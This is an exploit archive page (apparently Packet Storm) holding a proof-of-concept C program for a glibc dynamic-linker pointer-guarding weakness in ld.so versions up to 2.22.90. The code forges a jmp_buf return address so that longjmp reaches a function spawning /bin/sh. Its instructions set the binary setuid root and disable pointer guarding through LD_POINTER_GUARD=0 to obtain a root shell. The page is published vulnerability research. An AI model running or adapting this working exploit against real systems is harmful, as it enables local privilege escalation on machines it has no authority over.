what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Glibc Pointer Guarding Weakness

Glibc Pointer Guarding Weakness
Posted Sep 7, 2015
Authored by Hector Marco, Ismael Ripoll | Site hmarco.org

Glibc pointer guarding weakness proof of concept code.

tags | exploit, proof of concept
SHA-256 | 64411cf75336417b9d476a2bf486dd76842d1e2a6149f57b59c3900238a08677

Glibc Pointer Guarding Weakness

Change Mirror Download
/*
* $FILE: poc_pointer_dynamic_vul.c
*
* Comment: Proof of concept for dyamic linker (ld.so) versions <= 2.22.90
*
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
* Ismael Ripoll <iripoll@disca.upv.es>
*
*
* Steps:
*
* $ gcc poc_pointer_dynamic_vul.c -o poc_pointer_dynamic_vul
* $ sudo chown root:root poc_pointer_dynamic_vul
* $ sudo chmod u+s poc_pointer_dynamic_vul
* $ LD_POINTER_GUARD=0 ./poc_pointer_dynamic_vul
*
* If you got a shell your system is vulnerable.
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/

#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>

#ifdef __i386__
#define ROTATE 0x9
#define PC_ENV_OFFSET 0x14
#elif __x86_64__
#define ROTATE 0x11
#define PC_ENV_OFFSET 0x38
#elif __arm__
#define ROTATE 0x0
#define PC_ENV_OFFSET 0x24
#else
#error The exploit does not support this architecture
#endif

unsigned long rol(uintptr_t value) {
return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}

int hacked(){
printf("[+] hacked !!\n");
system("/bin/sh");
}

int main(void){
jmp_buf env;
uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);

printf("[+] Exploiting ...\n");
if(setjmp(env) == 1){
printf("[-] Exploit failed.\n");
return 0;
}

/*Overwrite env return address */
*ptr_ret_env = rol((uintptr_t)hacked);

longjmp(env, 1);

printf("[-] Exploit failed.\n");
return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close